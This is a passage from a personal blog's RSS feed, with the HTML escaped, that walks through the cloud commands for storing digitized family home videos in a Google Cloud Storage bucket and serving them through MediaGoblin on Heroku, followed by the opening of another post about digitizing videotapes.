&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">RANDOM_SUFFIX&lt;/span>=&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>head /dev/urandom | tr -dc &lt;span style="color:#ed9d13">&amp;#39;a-z0-9&amp;#39;&lt;/span> | head -c &lt;span style="color:#3677a9">16&lt;/span> ; &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">GCP_PROJECT_ID&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">GCP_PROJECT_NAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">-&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">RANDOM_SUFFIX&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gcloud projects create &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCP_PROJECT_ID&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --name &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCP_PROJECT_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --set-as-default
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You&amp;rsquo;ll need to link your new project to a billing account. For a list of your billing accounts, run:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>gcloud beta billing accounts list
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then replace &lt;code>BILLING_ACCOUNT&lt;/code> with the account you want to bill for this storage bucket:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">BILLING_ACCOUNT&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;0X0X0X-0X0X0X-0X0X0X&amp;#34;&lt;/span> &lt;span style="color:#999;font-style:italic"># Replace with account from the list&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gcloud beta billing projects link &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCP_PROJECT_ID&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --billing-account &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$BILLING_ACCOUNT&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="create-a-storage-bucket">Create a storage bucket&lt;/h3>
&lt;p>Next, create a Google Cloud Storage bucket for your files. I created a bucket that makes all objects public, but I&amp;rsquo;m relying on the difficulty of guessing the random bucket name.&lt;/p>
&lt;div class="notice notice-info">
 The 24-character random suffix means that there are 36&lt;sup>24&lt;/sup> = 2.24 x 10&lt;sup>37&lt;/sup> possibilities. In other words, the attacker would need to guess ~10&lt;sup>37&lt;/sup> bucket names until they find yours. This is on par with guessing a 128-bit private key.
&lt;/div>

&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">RANDOM_SUFFIX&lt;/span>=&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>head /dev/urandom | tr -dc &lt;span style="color:#ed9d13">&amp;#39;a-z0-9&amp;#39;&lt;/span> | head -c &lt;span style="color:#3677a9">24&lt;/span> ; &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">BUCKET_NAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;mediagoblin-&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">RANDOM_SUFFIX&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># All the videos need to be public for users to access them directly from the&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># browser, but we&amp;#39;re adding enough entropy to the bucket name to make it&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># infeasible for unauthorized users to access the files by guessing or&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># enumerating URLs.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">UNIFORM_ACCESS&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;on&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Bucket storage properties. You can adjust these depending on your preferences.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">STORAGE_CLASS&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;Standard&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">BUCKET_LOCATION&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;US-EAST1&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Create the GCS bucket.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gsutil mb &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -p &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCP_PROJECT_ID&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -c &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$STORAGE_CLASS&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -l &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$BUCKET_LOCATION&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -b &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$UNIFORM_ACCESS&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;gs://&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">BUCKET_NAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Set uniform access policy for the bucket.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># We use legacyObjectReader because it grants read access to individual files but&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># prevents clients from exploring the bucket&amp;#39;s contents.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gsutil iam ch allUsers:roles/storage.legacyObjectReader &lt;span style="color:#ed9d13">&amp;#34;gs://&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">BUCKET_NAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="copy-your-files-to-google-cloud-storage">Copy your files to Google Cloud Storage&lt;/h3>
&lt;p>Remember the files that &lt;a href="#create-mediagoblin-files">the MediaGoblin container generated&lt;/a> in your &lt;code>MG_SERVING_DIR&lt;/code> directory? Move them to the Google Cloud Storage bucket you just created:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>gsutil -m cp -r &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MG_SERVING_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/media/public/*&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;gs://&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">BUCKET_NAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">RANDOM_FOLDER&lt;/span>=&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>head /dev/urandom | tr -dc &lt;span style="color:#ed9d13">&amp;#39;a-zA-Z0-9&amp;#39;&lt;/span> | head -c &lt;span style="color:#3677a9">16&lt;/span> ; &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gsutil cp &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MG_SERVING_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/mediagoblin.db&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;gs://&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">BUCKET_NAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">RANDOM_FOLDER&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Save the public URL of the mediagoblin.db file.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">MEDIAGOBLIN_DB_URL&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;https://storage.googleapis.com/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">BUCKET_NAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">RANDOM_FOLDER&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/mediagoblin.db&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: I add an extra layer of randomness for the location of the &lt;code>mediagoblin.db&lt;/code> because otherwise anyone who knows the bucket name can discover the database file. Adding entropy in this way allows you to &lt;a href="#bonus-share-individual-videos">share individual videos&lt;/a> without exposing the entire collection.
&lt;/div>

&lt;h2 id="deploying-to-heroku">Deploying to Heroku&lt;/h2>
&lt;p>Now that your media files are in an Internet-accessible location on Google Cloud Storage, all that&amp;rsquo;s left is to deploy your MediaGoblin server. I use Heroku because it offers a generous free tier for Docker containers, and it&amp;rsquo;s easy to set up.&lt;/p>
&lt;p>If you haven&amp;rsquo;t already authenticated the Heroku CLI on this machine, log in with your Heroku credentials:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>heroku login --interactive
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, authenticate to Heroku&amp;rsquo;s container registry and create a new Heroku app. By default, the created app will be a free Heroku dyno:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>heroku container:login
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">RANDOM_SUFFIX&lt;/span>=&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>head /dev/urandom | tr -dc &lt;span style="color:#ed9d13">&amp;#39;a-z0-9&amp;#39;&lt;/span> | head -c &lt;span style="color:#3677a9">10&lt;/span> ; &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">HEROKU_APP_NAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;mediagoblin-&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">RANDOM_SUFFIX&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>heroku apps:create &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$HEROKU_APP_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The final step is to customize the Docker build with your authentication settings and title, then push it to Heroku for serving:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">pushd&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>mktemp -d&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">REPO&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;https://github.com/mtlynch/mediagoblin-docker.git&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># This is a special branch I created that adds authentication and adds a few&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># other features.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">TARGET_BRANCH&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;mtlynch-custom&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>git clone --single-branch --branch &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$TARGET_BRANCH&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$REPO&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> .
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">HTTP_AUTH_USER&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;mediagoblin&amp;#34;&lt;/span> &lt;span style="color:#999;font-style:italic"># change this to a username you choose&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">HTTP_AUTH_PASS&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;goblinmedia&amp;#34;&lt;/span> &lt;span style="color:#999;font-style:italic"># change this to a password you choose&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Title you want for your MediaGoblin server.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">HTML_TITLE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;My Demo MediaGoblin Server&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>heroku container:push web &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --app &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$HEROKU_APP_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --arg &lt;span style="color:#ed9d13">&amp;#34;HTTP_AUTH_USER=&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">HTTP_AUTH_USER&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">,HTTP_AUTH_PASS=&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">HTTP_AUTH_PASS&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">,GCS_BUCKET=&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">BUCKET_NAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">,MEDIAGOBLIN_DB_URL=&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MEDIAGOBLIN_DB_URL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">,HTML_TITLE=&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">HTML_TITLE&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>heroku container:release --app &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$HEROKU_APP_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> web &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">printf&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;Your app is live at https://&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">HEROKU_APP_NAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">.herokuapp.com/\n&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If all went well, you should see the URL of your new MediaGoblin instance like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>Your app is live at https://mediagoblin-v5lmqis51k.herokuapp.com/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: Because you&amp;rsquo;re using Heroku&amp;rsquo;s free tier, Heroku launches your MediaGoblin instance on-demand when you request it in the browser. This means that your first page load will take 30-60 seconds and you my see an HTTP 502 Gateway timeout error. This is normal. After the app is serving, it will be quick and responsive until you let it sit idle for a few hours.
&lt;/div>

&lt;h3 id="bonus-share-individual-videos">Bonus: Share individual videos&lt;/h3>
&lt;p>If you&amp;rsquo;re using this process to store family videos, you probably want your family to have the ability to browse and access all videos, but sometimes you want to share individual videos with others without giving them access to your entire collection.&lt;/p>
&lt;p>If you want to do that, click the &amp;ldquo;Original file&amp;rdquo; link in the MediaGoblin interface:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/digitizing-home-videos-walkthrough/share-single-file.png">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/digitizing-home-videos-walkthrough/share-single-file_hu_e71c49513d042728.png 300w, https://mtlynch.io/digitizing-home-videos-walkthrough/share-single-file_hu_662fb05da246f7a9.png 600w, https://mtlynch.io/digitizing-home-videos-walkthrough/share-single-file_hu_f5a28d4cd39191ef.png 800w, https://mtlynch.io/digitizing-home-videos-walkthrough/share-single-file_hu_f4133f2496e7e6fe.png 1200w, https://mtlynch.io/digitizing-home-videos-walkthrough/share-single-file.png 1320w'
 src="https://mtlynch.io/digitizing-home-videos-walkthrough/share-single-file.png" alt="Screenshot with pointer to &amp;#39;Original file&amp;#39; link" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>This will give the guest access to that individual file, but because of the way you &lt;a href="#create-a-storage-bucket">configured Google Cloud Storage bucket permissions&lt;/a>, they won&amp;rsquo;t be able to explore the library and access other videos.&lt;/p>
&lt;p>The &amp;ldquo;original file&amp;rdquo; link gives you a URL that looks like this:&lt;/p>
&lt;ul>
&lt;li>&lt;code>https://storage.googleapis.com/mediagoblin-39dpduhfz1wstbprmyk5ak29/media_entries/4/Texas_Family_-_1952_-_04_-_Trudy_Working_at_the_Loom.mp4&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>As you can see, given the above URL, you can watch that single video, but it&amp;rsquo;s not possible to explore the bucket to find other videos.&lt;/p>
&lt;hr>
&lt;h2 id="source-code">Source code&lt;/h2>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Repository&lt;/th>
 &lt;th>Description&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://github.com/mtlynch/mediagoblin">MediaGoblin&lt;/a>&lt;/td>
 &lt;td>Mirror of the MediaGoblin core repo + Circle CI configuration.&lt;br>&lt;br>The branch &lt;a href="https://github.com/mtlynch/mediagoblin/tree/mtlynch-custom">mtlynch-custom&lt;/a> has custom fixes for my instance (replaces their old video player and trims some parts of their UI that I don&amp;rsquo;t need).&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://github.com/mtlynch/mediagoblin-docker">mediagoblin-docker&lt;/a>&lt;/td>
 &lt;td>Builds a Docker image for MediaGoblin.&lt;br>&lt;br>The branch &lt;a href="https://github.com/mtlynch/mediagoblin-docker/tree/mtlynch-custom">mtlynch-custom&lt;/a> builds with my customizations, which include pointing to a Google Cloud Storage bucket and adding &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">HTTP Basic Authentication&lt;/a>.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://github.com/mtlynch/process-home-videos">process-home-videos&lt;/a>&lt;/td>
 &lt;td>Python scripts for chopping up raw video files into clips and then publishing those clips to MediaGoblin.&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table></content:encoded></item><item><title>My Eight-Year Quest to Digitize 45 Videotapes (Part One)</title><link>https://mtlynch.io/digitizing-1/</link><pubDate>Tue, 26 May 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/digitizing-1/</guid><description>&lt;p>For the last eight years, I&amp;rsquo;ve carried around this box of videotapes through four different apartments and one house. They&amp;rsquo;re family home videos from my childhood.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/digitizing-1/videotapes.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/digitizing-1/videotapes_hu_8820d82345b5fb34.jpg 300w, https://mtlynch.io/digitizing-1/videotapes_hu_58247078273c2221.jpg 600w, https://mtlynch.io/digitizing-1/videotapes_hu_c2f165640e7d0008.jpg 800w, https://mtlynch.io/digitizing-1/videotapes_hu_fd9680f3e05e5824.jpg 1200w, https://mtlynch.io/digitizing-1/videotapes.jpg 1200w'
 src="https://mtlynch.io/digitizing-1/videotapes.jpg" alt="All of my family&amp;#39;s old home videos" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>After 600+ hours of work, I finally digitized and organized them well enough to throw away the original tapes. Here&amp;rsquo;s what the footage looks like now:&lt;/p></description><content:encoded>&lt;p>For the last eight years, I&amp;rsquo;ve carried around this box of videotapes through four different apartments and one house. They&amp;rsquo;re family home videos from my childhood.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/digitizing-1/videotapes.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/digitizing-1/videotapes_hu_8820d82345b5fb34.jpg 300w, https://mtlynch.io/digitizing-1/videotapes_hu_58247078273c2221.jpg 600w, https://mtlynch.io/digitizing-1/videotapes_hu_c2f165640e7d0008.jpg 800w, https://mtlynch.io/digitizing-1/videotapes_hu_fd9680f3e05e5824.jpg 1200w, https://mtlynch.io/digitizing-1/videotapes.jpg 1200w'
 src="https://mtlynch.io/digitizing-1/videotapes.jpg" alt="All of my family&amp;#39;s old home videos" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>After 600+ hours of work, I finally digitized and organized them well enough to throw away the original tapes. Here&amp;rsquo;s what the footage looks like now:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 440px">



 &lt;a href="https://mtlynch.io/digitizing-1/mediagoblin-home.png">
 &lt;img
 
 sizes="(min-width: 768px) 440px, 98vw"
